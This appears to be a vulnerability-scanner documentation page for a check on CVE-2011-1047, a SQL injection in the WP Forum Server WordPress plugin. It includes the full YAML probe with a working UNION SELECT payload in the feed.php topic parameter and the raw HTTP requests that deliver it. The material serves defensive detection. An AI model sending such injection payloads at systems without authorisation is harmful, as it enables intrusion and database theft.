WP Forum Server — 1 vulnerability check
noctis ships 1 vulnerability check for WP Forum Server, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WordPress WP Forum Server feed.php topic SQL injection
| CVE | CVE-2011-1047 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/wp-forum-server/CVE-2011-1047.yaml |
Requests the WP Forum Server plugin RSS feed (forum-server/feed.php) with a UNION SELECT in the topic parameter that returns a marker computed from two random numbers. The finding is reported when the feed title contains the product, which the server can only produce by evaluating the injected query, so the topic parameter reaches the SQL query unsanitised. Read-only: the query only computes an arithmetic expression.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /wp-content/plugins/forum-server/feed.php?{{sc.q}} HTTP/1.0 - Checks
root_resp.bannerfor(?s)<title>[^<]*Topic:\s+NOCTIS→ finding QoD 75: WP Forum Server feed.php topic returned the computed marker in the feed title: … - Raw TCP (TLS on HTTPS), sent verbatim:
GET /wordpress/wp-content/plugins/forum-server/feed.php?{{sc.q}} HTTP/1.0 - Checks
wp_resp.bannerfor(?s)<title>[^<]*Topic:\s+NOCTIS→ finding QoD 75: WP Forum Server feed.php topic returned the computed marker in the feed title: …
References:
Feed source — tests/vulnerabilities/wp-forum-server/CVE-2011-1047.yaml
uid: ef9c676f-6862-475c-8101-1554e633413a
name: "WordPress WP Forum Server feed.php topic SQL injection (CVE-2011-1047)"
description: "Requests the WP Forum Server plugin RSS feed (forum-server/feed.php) with a UNION SELECT in the topic parameter that returns a marker computed from two random numbers. The finding is reported when the feed title contains the product, which the server can only produce by evaluating the injected query, so the topic parameter reaches the SQL query unsanitised. Read-only: the query only computes an arithmetic expression."
cves: [CVE-2011-1047]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [openvas-migrated, http, wordpress, wp-forum-server, sqli]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-1047"
- "OpenVAS NASL 2011/gb_wordpress_wp_forum_server_plugin_sql_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2011/gb_wordpress_wp_forum_server_plugin_sql_vuln.nasl (GPL-2.0-only).
# Improvement: the NASL injects version() and matches any version-looking title; here the
# injected expression is a product of two random numbers, so a page that merely contains a
# version string (or echoes the request) cannot match. Also probed under /wordpress.
steps:
- id: gen
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ want: "NOCTIS" + (a * b) + "END",
q: "topic=0%20union%20select%20concat(0x4e4f43544953," + a + "*" + b + ",0x454e44)%20--%20" }
store_as: sc
- id: probe_root
action: tcp_connect
port: "{{port}}"
send: "GET /wp-content/plugins/forum-server/feed.php?{{sc.q}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: root_resp
- id: detect_root
action: match
source: root_resp.banner
pattern: "(?s)<title>[^<]*Topic:\\s+NOCTIS"
condition: "stridx(root_resp.banner, sc.want) >= 0"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "WP Forum Server feed.php topic returned the computed marker in the feed title: {{root_resp.banner}}"
stop: true
- id: probe_wp
action: tcp_connect
port: "{{port}}"
send: "GET /wordpress/wp-content/plugins/forum-server/feed.php?{{sc.q}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: wp_resp
- id: detect_wp
action: match
source: wp_resp.banner
pattern: "(?s)<title>[^<]*Topic:\\s+NOCTIS"
condition: "stridx(wp_resp.banner, sc.want) >= 0"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "WP Forum Server feed.php topic returned the computed marker in the feed title: {{wp_resp.banner}}"
stop: true